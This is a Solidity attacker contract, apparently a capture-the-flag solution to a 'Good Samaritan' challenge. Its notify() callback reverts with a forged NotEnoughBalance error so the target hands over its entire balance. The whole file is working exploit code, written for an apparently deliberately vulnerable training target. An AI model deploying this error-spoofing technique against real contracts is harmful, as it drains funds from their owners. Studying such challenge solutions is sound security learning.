// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface GoodSamaritan {
    function requestDonation() external;
}

contract SamaritanAttacker {
    GoodSamaritan samaritan;
    error NotEnoughBalance();

    constructor(address _goodSameritan) {
        samaritan = GoodSamaritan(_goodSameritan);
    }

    function attack() public {
        samaritan.requestDonation();
    }

    function notify(uint256 amount) external {
        if(amount == 10) {
            revert NotEnoughBalance();
        }
    }
}